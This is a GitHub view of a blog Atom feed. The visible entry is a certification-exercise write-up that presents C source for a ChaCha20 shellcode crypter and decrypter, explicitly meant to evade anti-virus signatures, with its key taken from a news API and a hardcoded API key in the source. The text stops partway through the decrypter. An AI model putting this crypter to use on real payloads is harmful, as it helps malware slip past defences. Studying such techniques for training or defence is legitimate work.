-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
7081 lines (6526 loc) · 603 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title><![CDATA[tcunha.github.io]]></title>
<link href="http://tcunha.github.io/atom.xml" rel="self"/>
<link href="http://tcunha.github.io/"/>
<updated>2018-08-22T19:58:17+00:00</updated>
<id>http://tcunha.github.io/</id>
<author>
<name><![CDATA[tcunha]]></name>
</author>
<generator uri="http://octopress.org/">Octopress</generator>
<entry>
<title type="html"><![CDATA[SLAE 0x07: Crypter]]></title>
<link href="http://tcunha.github.io/blog/2018/08/21/slae-0x07-crypter/"/>
<updated>2018-08-21T00:50:25+00:00</updated>
<id>http://tcunha.github.io/blog/2018/08/21/slae-0x07-crypter</id>
<content type="html"><![CDATA[<pre><code>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
</code></pre>
<p>This final exercise consists in using a custom crypter and decrypter to evade anti-virus engines, since signatures are used most of the time.</p>
<p>They are both taking advantage of the <a href="https://wiki.openssl.org/index.php/EVP">EVP</a> functions provided by OpenSSL. The chosen algorithm was the <a href="https://cr.yp.to/chacha.html">ChaCha20</a> stream cipher with a random IV (12 bytes) and a key (32 bytes) retrieved on run-time. The key is the SHA256 of the <strong>id</strong> of the latest news of a <strong>configured</strong> section by using the public API provided by The Guardian.</p>
<figure class='code'><figcaption><span>crypter</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="cp">#include <openssl/conf.h></span>
</span><span class='line'><span class="cp">#include <openssl/err.h></span>
</span><span class='line'><span class="cp">#include <openssl/evp.h></span>
</span><span class='line'><span class="cp">#include <openssl/rand.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include <err.h></span>
</span><span class='line'><span class="cp">#include <stdio.h></span>
</span><span class='line'><span class="cp">#include <stdlib.h></span>
</span><span class='line'><span class="cp">#include <string.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include "common.h"</span>
</span><span class='line'>
</span><span class='line'><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="n">STR</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kt">int</span>
</span><span class='line'><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'> <span class="n">EVP_CIPHER_CTX</span> <span class="o">*</span><span class="n">ctx</span><span class="p">;</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b</span><span class="p">[</span><span class="n">BUFSIZ</span><span class="p">];</span> <span class="cm">/* Crypted buffer (should be enough). */</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[</span><span class="mi">12</span><span class="p">];</span> <span class="cm">/* The IV length is 96 bits. */</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="cm">/* The key length is 256 bits. */</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">b</span><span class="p">;</span>
</span><span class='line'> <span class="kt">int</span> <span class="n">bl</span><span class="p">,</span> <span class="n">ol</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'> <span class="n">common_key</span><span class="p">(</span><span class="n">key</span><span class="p">);</span> <span class="cm">/* Get dynamic key. */</span>
</span><span class='line'>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">RAND_bytes</span><span class="p">(</span><span class="n">iv</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">iv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="cm">/* Get a random IV. */</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">EVP_CIPHER_CTX_new</span><span class="p">())</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_EncryptInit_ex</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">EVP_chacha20</span><span class="p">(),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_EncryptUpdate</span><span class="p">(</span>
</span><span class='line'> <span class="n">ctx</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="o">&</span><span class="n">bl</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">shellcode</span><span class="p">))</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_EncryptFinal_ex</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">b</span> <span class="o">+</span> <span class="n">bl</span><span class="p">,</span> <span class="o">&</span><span class="n">ol</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'> <span class="cm">/* Check for NUL bytes in the crypted shellcode. */</span>
</span><span class='line'> <span class="k">while</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">!=</span> <span class="n">b</span> <span class="o">+</span> <span class="n">bl</span> <span class="o">+</span> <span class="n">ol</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Final buffer size is bl plus ol. */</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">ptr</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"NUL byte found!"</span><span class="p">);</span> <span class="cm">/* There might be more! */</span>
</span><span class='line'> <span class="n">ptr</span><span class="o">++</span><span class="p">;</span>
</span><span class='line'> <span class="p">}</span>
</span><span class='line'>
</span><span class='line'> <span class="k">for</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">key</span><span class="p">;</span> <span class="n">ptr</span> <span class="o">!=</span> <span class="n">key</span> <span class="o">+</span> <span class="k">sizeof</span> <span class="n">key</span><span class="p">;</span> <span class="n">ptr</span><span class="o">++</span><span class="p">)</span>
</span><span class='line'> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
</span><span class='line'> <span class="n">puts</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'> <span class="cm">/* Print the shellcode prefixed with the randomly generated IV. */</span>
</span><span class='line'> <span class="k">for</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">iv</span><span class="p">;</span> <span class="n">ptr</span> <span class="o">!=</span> <span class="n">iv</span> <span class="o">+</span> <span class="k">sizeof</span> <span class="n">iv</span><span class="p">;</span> <span class="n">ptr</span><span class="o">++</span><span class="p">)</span>
</span><span class='line'> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
</span><span class='line'> <span class="k">for</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">b</span><span class="p">;</span> <span class="n">ptr</span> <span class="o">!=</span> <span class="n">b</span> <span class="o">+</span> <span class="n">bl</span> <span class="o">+</span> <span class="n">ol</span><span class="p">;</span> <span class="n">ptr</span><span class="o">++</span><span class="p">)</span>
</span><span class='line'> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
</span><span class='line'> <span class="n">puts</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'> <span class="k">return</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>
<p>The common key retrieval code depends on cURL. Installing the header and library files, like with OpenSSL, is also needed:</p>
<figure class='code'><figcaption><span>key retrieval</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="cp">#include <curl/curl.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include <openssl/sha.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include <err.h></span>
</span><span class='line'><span class="cp">#include <stdio.h></span>
</span><span class='line'><span class="cp">#include <string.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#define COMMON_APIKEY "decfe466-4db7-4a7c-b0b8-f067cceaf94d"</span>
</span><span class='line'><span class="cp">#define COMMON_BASE "https:</span><span class="c1">//content.guardianapis.com"</span>
</span><span class='line'><span class="cp">#define COMMON_ENDPOINT "/search"</span>
</span><span class='line'><span class="cp">#define COMMON_ENDPOINT_ARGS "?section=science&page-size=1&api-key="</span>
</span><span class='line'><span class="cp">#define COMMON_URL \</span>
</span><span class='line'><span class="cp"> COMMON_BASE \</span>
</span><span class='line'><span class="cp"> COMMON_ENDPOINT \</span>
</span><span class='line'><span class="cp"> COMMON_ENDPOINT_ARGS \</span>
</span><span class='line'><span class="cp"> COMMON_APIKEY</span>
</span><span class='line'>
</span><span class='line'><span class="kt">size_t</span>
</span><span class='line'><span class="nf">common_write</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">nmemb</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">userdata</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">userdata</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'> <span class="n">strncpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="n">BUFSIZ</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span><span class='line'> <span class="n">buf</span><span class="p">[</span><span class="n">BUFSIZ</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="cm">/* Guarantee a NUL. */</span>
</span><span class='line'>
</span><span class='line'> <span class="k">return</span> <span class="p">(</span><span class="n">nmemb</span> <span class="o">*</span> <span class="n">size</span><span class="p">);</span> <span class="cm">/* Size is always 1; no overflow. */</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kt">void</span>
</span><span class='line'><span class="nf">common_key</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'> <span class="n">CURL</span> <span class="o">*</span><span class="n">curl</span><span class="p">;</span>
</span><span class='line'> <span class="kt">char</span> <span class="o">*</span><span class="n">end</span><span class="p">;</span>
</span><span class='line'> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">start</span><span class="p">;</span>
</span><span class='line'> <span class="kt">char</span> <span class="n">r</span><span class="p">[</span><span class="n">BUFSIZ</span><span class="p">];</span> <span class="cm">/* Response (should be enough). */</span>
</span><span class='line'>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">curl_global_init</span><span class="p">(</span><span class="n">CURL_GLOBAL_ALL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_global_init"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">curl</span> <span class="o">=</span> <span class="n">curl_easy_init</span><span class="p">())</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_easy_init"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">curl_easy_setopt</span><span class="p">(</span><span class="n">curl</span><span class="p">,</span> <span class="n">CURLOPT_URL</span><span class="p">,</span> <span class="n">COMMON_URL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_easy_setopt"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">curl_easy_setopt</span><span class="p">(</span><span class="n">curl</span><span class="p">,</span> <span class="n">CURLOPT_WRITEFUNCTION</span><span class="p">,</span> <span class="n">common_write</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_easy_perform"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">curl_easy_setopt</span><span class="p">(</span><span class="n">curl</span><span class="p">,</span> <span class="n">CURLOPT_WRITEDATA</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o">&</span><span class="n">r</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_easy_perform"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">curl_easy_perform</span><span class="p">(</span><span class="n">curl</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"curl_easy_perform"</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'> <span class="cm">/* Generate a key by finding the id and performing a SHA256 over it. */</span>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">start</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="s">"id"</span><span class="p">))</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"start not found"</span><span class="p">);</span>
</span><span class='line'> <span class="n">start</span> <span class="o">+=</span> <span class="mi">5</span><span class="p">;</span> <span class="cm">/* Go over the attribute. */</span>
</span><span class='line'>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">end</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="sc">'"'</span><span class="p">))</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span><span class='line'> <span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"end not found"</span><span class="p">);</span>
</span><span class='line'> <span class="o">*</span><span class="n">end</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="cm">/* Turn it into a NUL byte. */</span>
</span><span class='line'>
</span><span class='line'> <span class="cm">/* The key needs to be 32 bytes. */</span>
</span><span class='line'> <span class="n">printf</span><span class="p">(</span><span class="s">"Generating key from: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">start</span><span class="p">);</span>
</span><span class='line'> <span class="n">SHA256</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">start</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">start</span><span class="p">),</span> <span class="n">key</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>
<figure class='code'><figcaption><span>decrypter</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="cp">#include <openssl/conf.h></span>
</span><span class='line'><span class="cp">#include <openssl/err.h></span>
</span><span class='line'><span class="cp">#include <openssl/evp.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include <stdio.h></span>
</span><span class='line'><span class="cp">#include <stdlib.h></span>
</span><span class='line'><span class="cp">#include <string.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include "common.h"</span>
</span><span class='line'>
</span><span class='line'><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="n">STR</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kt">int</span>
</span><span class='line'><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'> <span class="n">EVP_CIPHER_CTX</span> <span class="o">*</span><span class="n">ctx</span><span class="p">;</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b</span><span class="p">[</span><span class="n">BUFSIZ</span><span class="p">];</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[</span><span class="mi">12</span><span class="p">];</span> <span class="cm">/* The IV length is 96 bits. */</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="cm">/* The key length is 256 bits. */</span>
</span><span class='line'> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="mi">12</span><span class="p">;</span>
</span><span class='line'> <span class="kt">int</span> <span class="n">bl</span><span class="p">,</span> <span class="n">ol</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'> <span class="n">common_key</span><span class="p">(</span><span class="n">key</span><span class="p">);</span> <span class="cm">/* Get dynamic key. */</span>
</span><span class='line'> <span class="n">memcpy</span><span class="p">(</span><span class="n">iv</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">iv</span><span class="p">);</span> <span class="cm">/* Save the prefixed IV. */</span>
</span><span class='line'>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">EVP_CIPHER_CTX_new</span><span class="p">())</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_DecryptInit_ex</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">EVP_chacha20</span><span class="p">(),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_DecryptUpdate</span><span class="p">(</span>
</span><span class='line'> <span class="n">ctx</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="o">&</span><span class="n">bl</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span> <span class="n">iv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'> <span class="n">CRYPTER_SSLERR</span><span class="p">();</span>
</span><span class='line'> <span class="k">if</span> <span class="p">(</span><span class="n">EVP_DecryptFinal_ex</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">b</span> <span class="o">+</span> <span class="n">bl</span><span class="p">,</span> <span class="o">&</span><span class="n">ol</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
